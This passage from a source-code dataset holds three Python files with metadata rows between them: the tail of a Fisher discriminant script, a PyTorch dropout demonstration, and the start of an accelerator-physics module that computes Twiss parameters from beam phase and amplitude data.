newproj1=np.zeros((class1.shape[0],1)) for i in range(class0.shape[0]): newproj0[i,:]=np.dot(wperp.T,class0[i,:]) for i in range(class1.shape[0]): newproj1[i,:]=np.dot(wperp.T,class1[i,:]) # storing the means and standard deviations of the projected points proj0mean=np.mean(newproj0) proj1mean=np.mean(newproj1) proj0std=np.std(newproj0) proj1std=np.std(newproj1) ''' Below function "solve" to finds the threshold value separating the two classes when dimensionally reduced - input : m1, m2 - means of the two classes whose point of intersection needs to be found std1, std2 - the standard deviations of the two classes ''' def solve(m1,m2,std1,std2): a = 1/(2*std1**2) - 1/(2*std2**2) b = m2/(std2**2) - m1/(std1**2) c = m1**2 /(2*std1**2) - m2**2 / (2*std2**2) - np.log(std2/std1) roots= np.roots([a,b,c]) # since two possible points of intersection , we select the one which lies in between the two means if roots.shape[0]>1: for i in range(2): if roots[i] !=max(m1,m2,roots[i]) or roots[i]!=min(m1,m2,roots[i]): return roots[i] else: return roots threshold=solve(proj0mean,proj1mean,proj0std,proj1std) print("Threshold value =", threshold) print("Time taken = ",(time.time()-start_time)) plt.savefig('Results/Result3.png')

32.540146

104

0.685509

729

4,458

4.175583

0.260631

0.029566

0.01774

0.032523

0.167214

0.127792

0.086071

0

0.045764

0.142216

4,458

136

105

32.779412

0.750262

0.274563

0

0.085714

0

0.031373

0.008627

0

1

0.014286

false

0

0.042857

0

0.085714

0.028571

0

null

0

null

0

1

0

e9ad668ebc54401a790054fd2f8bfe6c1d6a7c9b

3,071

py

Python

study/pytorch_study/14_dropout.py

strawsyz/straw

db313c78c2e3c0355cd10c70ac25a15bb5632d41

[ "MIT" ]

2

2020-04-06T09:09:19.000Z

2020-07-24T03:59:55.000Z

study/pytorch_study/14_dropout.py

strawsyz/straw

db313c78c2e3c0355cd10c70ac25a15bb5632d41

[ "MIT" ]

null

study/pytorch_study/14_dropout.py

strawsyz/straw

db313c78c2e3c0355cd10c70ac25a15bb5632d41

[ "MIT" ]

null

import matplotlib.pyplot as plt import torch n_input = 1 # n_hidden should be very big to make dropout's effect more clear n_hidden = 100 n_output = 1 EPOCH = 1000 LR = 0.01 torch.manual_seed(1) # reproducible N_SAMPLES = 20 # training data x = torch.unsqueeze(torch.linspace(-1, 1, N_SAMPLES), 1) y = x + 0.3 * torch.normal(torch.zeros(N_SAMPLES, 1), torch.ones(N_SAMPLES, 1)) # test data test_x = torch.unsqueeze(torch.linspace(-1, 1, N_SAMPLES), 1) test_y = test_x + 0.3 * torch.normal(torch.zeros(N_SAMPLES, 1), torch.ones(N_SAMPLES, 1)) # show data plt.scatter(x.data.numpy(), y.data.numpy(), c='magenta', s=50, alpha=0.5, label='train') plt.scatter(test_x.data.numpy(), test_y.data.numpy(), c='cyan', s=50, alpha=0.5, label='test') plt.legend(loc='upper left') plt.ylim((-2.5, 2.5)) plt.show() net_overfitting = torch.nn.Sequential( torch.nn.Linear(n_input, n_hidden), torch.nn.ReLU(), torch.nn.Linear(n_hidden, n_hidden), torch.nn.ReLU(), torch.nn.Linear(n_hidden, n_output) ) net_dropout = torch.nn.Sequential( torch.nn.Linear(n_input, n_hidden), torch.nn.Dropout(0.5), torch.nn.ReLU(), torch.nn.Linear(n_hidden, n_hidden), torch.nn.Dropout(0.5), torch.nn.ReLU(), torch.nn.Linear(n_hidden, n_output) ) optimizer_overfit = torch.optim.Adam(net_overfitting.parameters(), lr=LR) optimizer_drop = torch.optim.Adam(net_dropout.parameters(), lr=LR) loss_func = torch.nn.MSELoss() plt.ion() for i in range(EPOCH): pred_overfit = net_overfitting(x) pred_drop = net_dropout(x) loss_overfit = loss_func(pred_overfit, y) loss_drop = loss_func(pred_drop, y) optimizer_overfit.zero_grad() optimizer_drop.zero_grad() loss_overfit.backward() loss_drop.backward() optimizer_overfit.step() optimizer_drop.step() # 接着上面来 if i % 10 == 0: # 每 10 步画一次图 # change to eval mode in order to fix drop out effect net_overfitting.eval() # parameters for dropout differ from train mode net_dropout.eval() # plotting plt.cla() test_pred_ofit = net_overfitting(test_x) test_pred_drop = net_dropout(test_x) plt.scatter(x.data.numpy(), y.data.numpy(), c='magenta', s=5, alpha=0.3, label='train') plt.scatter(test_x.data.numpy(), test_y.data.numpy(), c='cyan', s=5, alpha=0.3, label='test') plt.plot(test_x.data.numpy(), test_pred_ofit.data.numpy(), 'r-', lw=3, label='overfitting') plt.plot(test_x.data.numpy(), test_pred_drop.data.numpy(), 'b--', lw=3, label='dropout(50%)') plt.text(0, -1.2, 'overfitting loss=%.4f' % loss_func(test_pred_ofit, test_y).data.numpy(), fontdict={'size': 12, 'color': 'red'}) plt.text(0, -1.5, 'dropout loss=%.4f' % loss_func(test_pred_drop, test_y).data.numpy(), fontdict={'size': 12, 'color': 'orange'}) plt.legend(loc='upper left'); plt.ylim((-2.5, 2.5)); plt.pause(0.1) # 将两个网络改回训练形式 net_overfitting.train() net_dropout.train() plt.ioff() plt.show()

32.326316

101

0.652231

491

3,071

3.912424

0.240326

0.054659

0.02811

0.043727

0.477876

0.432067

0.367517

0

0.031163

0.184956

3,071

95

102

32.326316

0.736316

0.08043

0

0.2

0

0.05439

0

1

0

false

0

0.028571

0

0.028571

0

null

0

null

0

1

0

e9b1301b28dc40f613c5048548a9e3fd67d1e1a8

72,649

py

Python

harmonica/twiss.py

i-a-morozov/harmonica

546e664e59457ad9cc354d108402137e90e0d8c2

[ "MIT" ]

null

harmonica/twiss.py

i-a-morozov/harmonica

546e664e59457ad9cc354d108402137e90e0d8c2

[ "MIT" ]

null

harmonica/twiss.py

i-a-morozov/harmonica

546e664e59457ad9cc354d108402137e90e0d8c2

[ "MIT" ]

null

""" Twiss module. Compute twiss parameters from amplitude & phase data. Twiss filtering & processing. """ import numpy import torch import pandas from scipy import odr from .util import mod, generate_pairs, generate_other from .statistics import weighted_mean, weighted_variance from .statistics import median, biweight_midvariance, standardize from .anomaly import threshold, dbscan, local_outlier_factor, isolation_forest from .decomposition import Decomposition from .model import Model from .table import Table class Twiss(): """ Returns ---------- Twiss class instance. Parameters ---------- model: 'Model' Model instance table: 'Table' Table instance flag: torch.Tensor external flags for each model location limit: int | tuple range limit to use, (min, max), 1 <= min <= max, mim is excluded, for full range min==max use_model: bool flag to use precomputed model data Attributes ---------- model: 'Model' Model instance table: 'Table' Table instance limit: int | tuple range limit to use, (min, max), 1 <= min <= max, mim is excluded, for full range min==max use_model: bool flag to use precomputed model data dtype: torch.dtype data type (from model) device: torch.device data device (from model) flag: torch.Tensor location flags count: torch.Tensor (uncoupled) range limit endpoints [1, 6, 15, 28, 45, 66, 91, 120, ...] combo: torch.Tensor (uncoupled) index combinations [..., [..., [[i, j], [i, k]], ...], ...] shape: torch.Size initial shape of combo distance: torch.Tensor (uncoupled) distance fx: torch.Tensor x phase for each location fy: torch.Tensor y phase for each location sigma_fx: torch.Tensor x phase error for each location sigma_fy: torch.Tensor y phase error for each location fx_correct: torch.Tensor corrected x phase for each location fy_correct: torch.Tensor corrected y phase for each location sigma_fx_correct: torch.Tensor corrected x phase error for each location sigma_fy_correct: torch.Tensor corrected y phase error for each location virtual_x: dict x plane virtual phase data virtual_y: dict y plane virtual phase data correct_x: dict x plane corrected phase data correct_y: dict y plane corrected phase data action: dict action data dict_keys(['jx', 'sigma_jx', 'center_jx', 'spread_jx', 'jy', 'sigma_jy', 'center_jy', 'spread_jy', 'mask']) data_amplitude: dict twiss from amplitude data dict_keys(['bx', 'sigma_bx', 'by', 'sigma_by']) data_phase: dict twiss from phase data dict_keys(['fx_ij', 'sigma_fx_ij', 'fx_m_ij', 'sigma_fx_m_ij', 'fx_ik', 'sigma_fx_ik', 'fx_m_ik', 'sigma_fx_m_ik', 'fy_ij', 'sigma_fy_ij', 'fy_m_ij', 'sigma_fy_m_ij', 'fy_ik', 'sigma_fy_ik', 'fy_m_ik', 'sigma_fy_m_ik', 'ax', 'sigma_ax', 'bx', 'sigma_bx', 'ay', 'sigma_ay', 'by', 'sigma_by']) ax: torch.Tensor alfa x sigma_ax: torch.Tensor sigma alfa x bx: torch.Tensor beta x sigma_bx: torch.Tensor sigma beta x ay: torch.Tensor alfa y sigma_ay: torch.Tensor sigma alfa y by: torch.Tensor beta y sigma_by: torch.Tensor sigma beta y Methods ---------- __init__(self, model:'Model', table:'Table', limit:int=8, use_model:bool=False) -> None Twiss instance initialization. get_action(self, *, data_threshold:dict={'use': True, 'factor': 5.0}, data_dbscan:dict={'use': False, 'factor': 2.5}, data_local_outlier_factor:dict={'use': False, 'contamination': 0.01}, data_isolation_forest:dict={'use': False, 'contamination': 0.01}, bx:torch.Tensor=None, by:torch.Tensor=None, sigma_bx:torch.Tensor=None, sigma_by:torch.Tensor=None) Estimate actions at each monitor location with optional data cleaning and estimate action center and spread. get_twiss_from_amplitude(self) -> None Estimate twiss from amplitude. phase_virtual(self, limit:int=None, exclude:list=None, **kwargs) -> None Estimate x & y phase for virtual locations. phase_correct(self, *, limit:int=None, **kwargs) -> None Correct x & y phase for monitor locations. phase_alfa(a_m:torch.Tensor, f_ij:torch.Tensor, f_m_ij:torch.Tensor, f_ik:torch.Tensor, f_m_ik:torch.Tensor, *, error:bool=True, model:bool=True, sigma_a_m:torch.Tensor=0.0, sigma_f_ij:torch.Tensor=0.0, sigma_f_m_ij:torch.Tensor=0.0, sigma_f_ik:torch.Tensor=0.0, sigma_f_m_ik:torch.Tensor=0.0) -> tuple Estimate twiss alfa at index (i) from given triplet (i, j, k) phase data. phase_beta(b_m:torch.Tensor, f_ij:torch.Tensor, f_m_ij:torch.Tensor, f_ik:torch.Tensor, f_m_ik:torch.Tensor, *, error:bool=True, model:bool=True, sigma_b_m:torch.Tensor=0.0, sigma_f_ij:torch.Tensor=0.0, sigma_f_m_ij:torch.Tensor=0.0, sigma_f_ik:torch.Tensor=0.0, sigma_f_m_ik:torch.Tensor=0.0) -> tuple Estimate twiss beta at index (i) from given triplet (i, j, k) phase data. get_twiss_from_phase(self, *, virtual:bool=True, error:bool=True, model:bool=False, use_correct:bool=False, use_correct_sigma:bool=False) -> None Estimate twiss from phase data. filter_twiss(self, plane:str = 'x', *, phase:dict={'use': True, 'threshold': 10.00}, model:dict={'use': True, 'threshold': 00.50}, value:dict={'use': True, 'threshold': 00.50}, sigma:dict={'use': True, 'threshold': 00.25}, limit:dict={'use': True, 'threshold': 05.00}) -> dict Filter twiss for given data plane and cleaning options. mask_range(self, limit:tuple) -> torch.Tensor Generate weight mask based on given range limit. mask_location(self, table:list) -> torch.Tensor Generate weight mask based on given range limit. mask_distance(self, function) -> torch.Tensor Generate weight mask based on given range limit. process_twiss(self, plane:str='x', *, weight:bool=True, mask:torch.Tensor=None) -> dict Process twiss data. get_twiss_from_data(self, n:int, x:torch.Tensor, y:torch.Tensor, *, refit:bool=False, factor:float=5.0, level:float=1.0E-6, sigma_x:torch.Tensor=None, sigma_y:torch.Tensor=None, ax:torch.Tensor=None, bx:torch.Tensor=None, ay:torch.Tensor=None, by:torch.Tensor=None, transport:torch.Tensor=None, **kwargs) -> dict Estimate twiss from tbt data using ODR fit. get_ax(self, index:int) -> torch.Tensor Get ax value and error at given index. get_bx(self, index:int) -> torch.Tensor Get bx value and error at given index. get_fx(self, index:int) -> torch.Tensor Get fx value and error at given index. get_ay(self, index:int) -> torch.Tensor Get ay value and error at given index. get_by(self, index:int) -> torch.Tensor Get by value and error at given index. get_fy(self, index:int) -> torch.Tensor Get fy value and error at given index. get_twiss(self, index:int) -> dict Return twiss data at given index. get_table(self) -> pandas.DataFrame Return twiss data at all locations as dataframe. __repr__(self) -> str String representation. __len__(self) -> int: Number of locations. __call__(self, limit:int=None) -> pandas.DataFrame Perform twiss loop with default parameters. matrix(self, probe:torch.Tensor, other:torch.Tensor) -> tuple Generate uncoupled transport matrix (or matrices) for given locations. make_transport(self) -> None Set transport matrices between adjacent locations. matrix_transport(self, probe:int, other:int) -> torch.Tensor Generate transport matrix from probe to other using self.transport. normal(self, probe:torch.Tensor) -> tuple Generate uncoupled normal matrix (or matrices) for given locations. """ def __init__(self, model:'Model', table:'Table', flag:torch.Tensor=None, limit:int=8, use_model:bool=False) -> None: """ Twiss instance initialization. Parameters ---------- model: 'Model' Model instance table: 'Table' Table instance flag: torch.Tensor external flags for each model location limit: int | tuple range limit to use, (min, max), 1 <= min <= max, mim is excluded, for full range min==max use_model: bool flag to use precomputed model data Returns ------- None """ self.model, self.table, self.limit, self.use_model = model, table, limit, use_model self.limit = self.limit if isinstance(self.limit, tuple) else (self.limit, self.limit) if self.use_model: if self.model.limit is None: raise Exception(f'TWISS: model limit is None') if self.model.limit < max(self.limit): raise Exception(f'TWISS: requested limit={self.limit} should be less than model limit={self.model.limit}') self.size, self.dtype, self.device = self.model.size, self.model.dtype, self.model.device if self.model.monitor_count != self.table.size: raise Exception(f'TWISS: expected {self.model.monitor_count} monitors in Model, got {self.table.size} in Table') if flag is None: self.flag = [flag if kind == self.model._monitor else 0 for flag, kind in zip(self.model.flag, self.model.kind)] self.flag = torch.tensor(self.flag, dtype=torch.int64, device=self.device) else: if len(flag) != self.size: raise Exception(f'TWISS: external flag length {len(flag)}, expected length {self.size}') self.flag = flag.to(torch.int64).to(self.device) if self.use_model: self.count = self.model.count self.combo = self.model.combo self.index = self.model.index else: self.count = torch.tensor([limit*(2*limit - 1) for limit in range(1, max(self.limit) + 1)], dtype=torch.int64, device=self.device) self.combo = [generate_other(probe, max(self.limit), self.flag) for probe in range(self.size)] self.combo = torch.stack([generate_pairs(max(self.limit), 1 + 1, probe=probe, table=table, dtype=torch.int64, device=self.device) for probe, table in enumerate(self.combo)]) self.index = mod(self.combo, self.size).to(torch.int64) self.shape = self.combo.shape self.distance = torch.ones(max(self.limit)*(2*max(self.limit) - 1), dtype=self.dtype, device=self.device) for index in self.count: self.distance[index:] += 1.0 limit_min, limit_max = self.limit if limit_min == limit_max: self.count = self.count[:limit_max] *_, count_max = self.count self.combo = self.combo[:, :count_max] self.index = self.index[:, :count_max] self.distance = self.distance[:count_max] if limit_min < limit_max: self.count = self.count[limit_min - 1:limit_max] count_min, *_, count_max = self.count self.combo = self.combo[:, count_min:count_max] self.index = self.index[:, count_min:count_max] self.distance = self.distance[count_min:count_max] if limit_min > limit_max: raise Exception(f'TWISS: invalid limit={self.limit}') self.fx = torch.zeros_like(self.model.fx) self.fy = torch.zeros_like(self.model.fy) self.fx[self.model.monitor_index] = self.table.fx self.fy[self.model.monitor_index] = self.table.fy self.sigma_fx = torch.zeros_like(self.model.sigma_fx) self.sigma_fy = torch.zeros_like(self.model.sigma_fy) self.sigma_fx[self.model.monitor_index] = self.table.sigma_fx self.sigma_fy[self.model.monitor_index] = self.table.sigma_fy self.fx_correct, self.sigma_fx_correct = torch.clone(self.fx), torch.clone(self.sigma_fx) self.fy_correct, self.sigma_fy_correct = torch.clone(self.fy), torch.clone(self.sigma_fy) self.virtual_x, self.correct_x = {}, {} self.virtual_y, self.correct_y = {}, {} self.action, self.data_amplitude, self.data_phase = {}, {}, {} self.ax, self.sigma_ax = torch.zeros_like(self.model.ax), torch.zeros_like(self.model.sigma_ax) self.bx, self.sigma_bx = torch.zeros_like(self.model.bx), torch.zeros_like(self.model.sigma_bx) self.ay, self.sigma_ay = torch.zeros_like(self.model.ay), torch.zeros_like(self.model.sigma_ay) self.by, self.sigma_by = torch.zeros_like(self.model.by), torch.zeros_like(self.model.sigma_by) if self.use_model: self.fx_ij, self.sigma_fx_ij = self.model.fx_ij.to(self.dtype).to(self.device), self.model.sigma_fx_ij.to(self.dtype).to(self.device) self.fx_ik, self.sigma_fx_ik = self.model.fx_ik.to(self.dtype).to(self.device), self.model.sigma_fx_ik.to(self.dtype).to(self.device) self.fy_ij, self.sigma_fy_ij = self.model.fy_ij.to(self.dtype).to(self.device), self.model.sigma_fy_ij.to(self.dtype).to(self.device) self.fy_ik, self.sigma_fy_ik = self.model.fy_ik.to(self.dtype).to(self.device), self.model.sigma_fy_ik.to(self.dtype).to(self.device) if self.use_model and flag != None: size, length, *_ = self.index.shape self.mask = torch.ones((size, length)).to(torch.bool).to(self.device) for location, flag in enumerate(self.flag): if not flag and self.model.flag[location] != 0: _, other = self.index.swapaxes(0, -1) other = torch.mul(*(other != location).swapaxes(0, 1)).T self.mask = (self.mask == other) def get_action(self, *, data_threshold:dict={'use': True, 'factor': 5.0}, data_dbscan:dict={'use': False, 'factor': 2.5}, data_local_outlier_factor:dict={'use': False, 'contamination': 0.01}, data_isolation_forest:dict={'use': False, 'contamination': 0.01}, bx:torch.Tensor=None, by:torch.Tensor=None, sigma_bx:torch.Tensor=None, sigma_by:torch.Tensor=None) -> None: """ Estimate actions at each monitor location with optional data cleaning and estimate action center and spread. Parameters ---------- data_threshold: dict parameters for threshold detector data_dbscan: dict parameters for dbscan detector data_local_outlier_factor: dict parameters for local outlier factor detector data_isolation_forest: dict parameters for isolation forest detector bx: torch.Tensor bx values at monitor locations by: torch.Tensor by values at monitor locations sigma_bx: torch.Tensor bx errors at monitor locations sigma_by: torch.Tensor by errors at monitor locations Returns ------- None, update self.action dictionary """ self.action = {} index = self.model.monitor_index bx = bx if bx is not None else self.model.bx[index] by = by if by is not None else self.model.by[index] sigma_bx = sigma_bx if sigma_bx is not None else self.model.sigma_bx[index] sigma_by = sigma_by if sigma_by is not None else self.model.sigma_by[index] jx = self.table.ax**2/(2.0*bx) jy = self.table.ay**2/(2.0*by) sigma_jx = self.table.ax**2/bx**2*self.table.sigma_ax**2 sigma_jx += self.table.ax**4/bx**4/4*sigma_bx**2 sigma_jx.sqrt_() sigma_jy = self.table.ay**2/by**2*self.table.sigma_ay**2 sigma_jy += self.table.ay**4/by**4/4*sigma_by**2 sigma_jy.sqrt_() mask = torch.clone(self.flag[index]) mask = torch.stack([mask, mask]).to(torch.bool) data = standardize(torch.stack([jx, jy]), center_estimator=median, spread_estimator=biweight_midvariance) if data_threshold['use']: factor = data_threshold['factor'] center = median(data) spread = biweight_midvariance(data).sqrt() min_value, max_value = center - factor*spread, center + factor*spread mask *= threshold(data, min_value, max_value) if data_dbscan['use']: factor = data_dbscan['factor'] for case in range(1): mask[case] *= dbscan(data[case].reshape(-1, 1), epsilon=factor) if data_local_outlier_factor['use']: for case in range(1): mask[case] *= local_outlier_factor(data[case].reshape(-1, 1), contamination=data_local_outlier_factor['contamination']) if data_isolation_forest['use']: for case in range(1): mask[case] *= isolation_forest(data[case].reshape(-1, 1), contamination=data_isolation_forest['contamination']) mask_jx, mask_jy = mask mask_jx, mask_jy = mask_jx/sigma_jx**2, mask_jy/sigma_jy**2 center_jx = weighted_mean(jx, weight=mask_jx) spread_jx = weighted_variance(jx, weight=mask_jx, center=center_jx).sqrt() center_jy = weighted_mean(jy, weight=mask_jy) spread_jy = weighted_variance(jy, weight=mask_jy, center=center_jy).sqrt() self.action['jx'], self.action['sigma_jx'] = jx, sigma_jx self.action['center_jx'], self.action['spread_jx'] = center_jx, spread_jx self.action['jy'], self.action['sigma_jy'] = jy, sigma_jy self.action['center_jy'], self.action['spread_jy'] = center_jy, spread_jy self.action['mask'] = mask def get_twiss_from_amplitude(self) -> None: """ Estimate twiss from amplitude. Note, action dictionary should be precomputed Parameters ---------- None Returns ------- None, update self.twiss_from_amplitude dictionary """ if self.action == {}: raise Exception('error: action dictionary is empty') self.data_amplitude = {} ax, sigma_ax = self.table.ax, self.table.sigma_ax ay, sigma_ay = self.table.ay, self.table.sigma_ay jx, sigma_jx = self.action['center_jx'], self.action['spread_jx'] jy, sigma_jy = self.action['center_jy'], self.action['spread_jy'] bx, by = ax**2/(2.0*jx), ay**2/(2.0*jy) sigma_bx = torch.sqrt(ax**2/jx**2*sigma_ax**2 + 0.25*ax**4/jx**4*sigma_jx**2) sigma_by = torch.sqrt(ay**2/jy**2*sigma_ay**2 + 0.25*ay**4/jy**4*sigma_jy**2) index = self.model.monitor_index bx_model, by_model = self.model.bx[index], self.model.by[index] self.data_amplitude['bx'], self.data_amplitude['sigma_bx'] = bx, sigma_bx self.data_amplitude['by'], self.data_amplitude['sigma_by'] = by, sigma_by def phase_virtual(self, limit:int=None, exclude:list=None, **kwargs) -> None: """ Estimate x & y phase for virtual locations. Parameters ---------- limit: int range limit to use exclude: list list of virtual location to exclude **kwargs: passed to Decomposition.phase_virtual Returns ------- None, update self.virtual_x and self.virtual_y dictionaries """ self.virtual_x, self.virtual_y = {}, {} limit = max(self.limit) if limit is None else limit exclude = [] if exclude is None else exclude index = [index for index in self.model.virtual_index if index not in exclude] nux, sigma_nux = self.table.nux, self.table.sigma_nux NUX, sigma_NUX = self.model.nux, self.model.sigma_nux nuy, sigma_nuy = self.table.nuy, self.table.sigma_nuy NUY, sigma_NUY = self.model.nuy, self.model.sigma_nuy fx, sigma_fx = self.fx, self.sigma_fx FX, sigma_FX = self.model.fx, self.model.sigma_fx fy, sigma_fy = self.fy, self.sigma_fy FY, sigma_FY = self.model.fy, self.model.sigma_fy def auxiliary_x(probe): return Decomposition.phase_virtual(probe, limit, self.flag, nux, NUX, fx, FX, sigma_frequency=sigma_nux, sigma_frequency_model=sigma_NUX, sigma_phase=sigma_fx, sigma_phase_model=sigma_FX, **kwargs) def auxiliary_y(probe): return Decomposition.phase_virtual(probe, limit, self.flag, nuy, NUY, fy, FY, sigma_frequency=sigma_nuy, sigma_frequency_model=sigma_NUY, sigma_phase=sigma_fy, sigma_phase_model=sigma_FY, **kwargs) data_x = [auxiliary_x(probe) for probe in index] data_y = [auxiliary_y(probe) for probe in index] for count, probe in enumerate(index): self.virtual_x[probe], self.virtual_y[probe] = data_x[count], data_y[count] self.fx[probe], self.sigma_fx[probe] = self.virtual_x[probe].get('model') self.fy[probe], self.sigma_fy[probe] = self.virtual_y[probe].get('model') def phase_correct(self, *, limit:int=None, **kwargs) -> None: """ Correct x & y phase for monitor locations. Note, this introduce strong bias towards model, do not use large range limit Note, phase at the location is not used Parameters ---------- limit: int range limit **kwargs: passed to phase_virtual Decomposition method Returns ------- None, update self.correct_x and self.correct_y dictionaries """ self.correct_x, self.correct_y = {}, {} limit = max(self.limit) if limit is None else limit index = self.model.monitor_index self.fx_correct, self.sigma_fx_correct = torch.clone(self.fx), torch.clone(self.sigma_fx) self.fy_correct, self.sigma_fy_correct = torch.clone(self.fy), torch.clone(self.sigma_fy) nux, sigma_nux = self.table.nux, self.table.sigma_nux NUX, sigma_NUX = self.model.nux, self.model.sigma_nux nuy, sigma_nuy = self.table.nuy, self.table.sigma_nuy NUY, sigma_NUY = self.model.nuy, self.model.sigma_nuy fx, sigma_fx = self.fx, self.sigma_fx FX, sigma_FX = self.model.fx, self.model.sigma_fx fy, sigma_fy = self.fy, self.sigma_fy FY, sigma_FY = self.model.fy, self.model.sigma_fy def auxiliary_x(probe): return Decomposition.phase_virtual(probe, limit, self.flag, nux, NUX, fx, FX, sigma_frequency=sigma_nux, sigma_frequency_model=sigma_NUX, sigma_phase=sigma_fx, sigma_phase_model=sigma_FX, **kwargs) def auxiliary_y(probe): return Decomposition.phase_virtual(probe, limit, self.flag, nuy, NUY, fy, FY, sigma_frequency=sigma_nuy, sigma_frequency_model=sigma_NUY, sigma_phase=sigma_fy, sigma_phase_model=sigma_FY, **kwargs) data_x = [auxiliary_x(probe) for probe in index] data_y = [auxiliary_y(probe) for probe in index] for count, probe in enumerate(index): self.correct_x[probe], self.correct_y[probe] = data_x[count], data_y[count] self.fx_correct[probe], self.sigma_fx_correct[probe] = self.correct_x[probe].get('model') self.fy_correct[probe], self.sigma_fy_correct[probe] = self.correct_y[probe].get('model') @staticmethod def phase_alfa(a_m:torch.Tensor, f_ij:torch.Tensor, f_m_ij:torch.Tensor, f_ik:torch.Tensor, f_m_ik:torch.Tensor, *, error:bool=True, model:bool=True, sigma_a_m:torch.Tensor=0.0, sigma_f_ij:torch.Tensor=0.0, sigma_f_m_ij:torch.Tensor=0.0, sigma_f_ik:torch.Tensor=0.0, sigma_f_m_ik:torch.Tensor=0.0) -> tuple: """ Estimate twiss alfa at index (i) from given triplet (i, j, k) phase data. Note, probed index (i), other indices (j) and (k), pairs (i, j) and (i, k) Phase advance is assumed to be from (i) to other indices, should be negative if (i) is ahead of the other index (timewise) Parameters ---------- a_m: torch.Tensor model value f_ij: torch.Tensor phase advance between probed and the 1st index (j) f_m_ij: torch.Tensor model phase advance between probed and the 1st index (j) f_ik: torch.Tensor phase advance between probed and the 2nd index (k) f_m_ik: torch.Tensor model phase advance between probed and 2nd index (k) error: bool flag to compute error model: bool flag to include model error sigma_a_m: torch.Tensor model value error sigma_f_ij: torch.Tensor phase advance error between probed and the 1st index (j) sigma_f_m_ij: torch.Tensor model phase advance error between probed and the 1st index (j) sigma_f_ik: torch.Tensor phase advance error between probed and the 2nd index (k) sigma_f_m_ik: torch.Tensor model phase advance error between probed and the 2nd index (k) Returns ------- (a, 0) or (a, sigma_a) """ a = a_m*(1.0/torch.tan(f_ij)-1.0/torch.tan(f_ik))/(1.0/torch.tan(f_m_ij)-1.0/torch.tan(f_m_ik))-1.0/torch.tan(f_ij)*1.0/torch.sin(f_m_ij - f_m_ik)*torch.cos(f_m_ik)*torch.sin(f_m_ij) + 1.0/torch.tan(f_ik)*1.0/torch.sin(f_m_ij - f_m_ik)*torch.cos(f_m_ij)*torch.sin(f_m_ik) if not error: return (a, torch.zeros_like(a)) sigma_a = sigma_f_ij**2*(1.0/torch.sin(f_ij))**4*(1.0/torch.tan(f_m_ik) + a_m)**2/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**2 sigma_a += sigma_f_ik**2*(1.0/torch.sin(f_ik))**4*(1.0/torch.tan(f_m_ij) + a_m)**2/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**2 if model: sigma_a += sigma_a_m**2*((1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))**2/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**2) sigma_a += sigma_f_m_ik**2*(1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))**2*(1.0/torch.sin(f_m_ij - f_m_ik))**4*torch.sin(f_m_ij)**2*(torch.cos(f_m_ij) + a_m*torch.sin(f_m_ij))**2 sigma_a += sigma_f_m_ij**2*(1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))**2*(1.0/torch.sin(f_m_ij - f_m_ik))**4*torch.sin(f_m_ik)**2*(torch.cos(f_m_ik) + a_m*torch.sin(f_m_ik))**2 sigma_a.sqrt_() return (a, sigma_a) @staticmethod def phase_beta(b_m:torch.Tensor, f_ij:torch.Tensor, f_m_ij:torch.Tensor, f_ik:torch.Tensor, f_m_ik:torch.Tensor, *, error:bool=True, model:bool=True, sigma_b_m:torch.Tensor=0.0, sigma_f_ij:torch.Tensor=0.0, sigma_f_m_ij:torch.Tensor=0.0, sigma_f_ik:torch.Tensor=0.0, sigma_f_m_ik:torch.Tensor=0.0) -> tuple: """ Estimate twiss beta at index (i) from given triplet (i, j, k) phase data. Note, probed index (i), other indices (j) and (k), pairs (i, j) and (i, k) Phase advance is assumed to be from (i) to other indices, should be negative if (i) is ahead of the other index (timewise) Parameters ---------- b_m: torch.Tensor model value f_ij: torch.Tensor phase advance between probed and the 1st index (j) f_m_ij: torch.Tensor model phase advance between probed and the 1st index (j) f_ik: torch.Tensor phase advance between probed and the 2nd index (k) f_m_ik: torch.Tensor model phase advance between probed and 2nd index (k) error: bool flag to compute error model: bool flag to include model error sigma_b_m: torch.Tensor model value error sigma_f_ij: torch.Tensor phase advance error between probed and the 1st index (j) sigma_f_m_ij: torch.Tensor model phase advance error between probed and the 1st index (j) sigma_f_ik: torch.Tensor phase advance error between probed and the 2nd index (k) sigma_f_m_ik: torch.Tensor model phase advance error between probed and the 2nd index (k) Returns ------- (b, 0) or (b, sigma_b) """ b = b_m*(1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik)) if not error: return (b, torch.zeros_like(b)) sigma_b = sigma_f_ij**2*b_m**2*(1.0/torch.sin(f_ij))**4/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**2 sigma_b += sigma_f_ik**2*b_m**2*(1.0/torch.sin(f_ik))**4/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**2 if model: sigma_b += sigma_b_m**2*(1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))**2/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**2 sigma_b += sigma_f_m_ij**2*b_m**2*(1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))**2*(1.0/torch.sin(f_m_ij))**4/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**4 sigma_b += sigma_f_m_ik**2*b_m**2*(1.0/torch.tan(f_ij) - 1.0/torch.tan(f_ik))**2*(1.0/torch.sin(f_m_ik))**4/(1.0/torch.tan(f_m_ij) - 1.0/torch.tan(f_m_ik))**4 sigma_b.sqrt_() return (b, sigma_b) def get_twiss_from_phase(self, *, virtual:bool=True, error:bool=True, model:bool=False, use_correct:bool=False, use_correct_sigma:bool=False, use_model:bool=False) -> None: """ Estimate twiss from phase data. Note, raw data is saved, no cleaning is performed Values (and errors) are computed for each triplet Parameters ---------- error: bool flag to compute twiss errors model: bool flag to include model error use_correct: bool flag to use corrected phases use_correct_sigma: bool flag to use corrected phase errors use_model: bool flag to use precomputed model data Returns ------- None, update self.twiss_from_phase dictionary """ self.data_phase = {} fx = self.fx_correct if use_correct else self.fx fy = self.fy_correct if use_correct else self.fy sigma_fx = self.sigma_fx_correct if use_correct_sigma else self.sigma_fx sigma_fy = self.sigma_fy_correct if use_correct_sigma else self.sigma_fy ax_m, bx_m = self.model.ax, self.model.bx 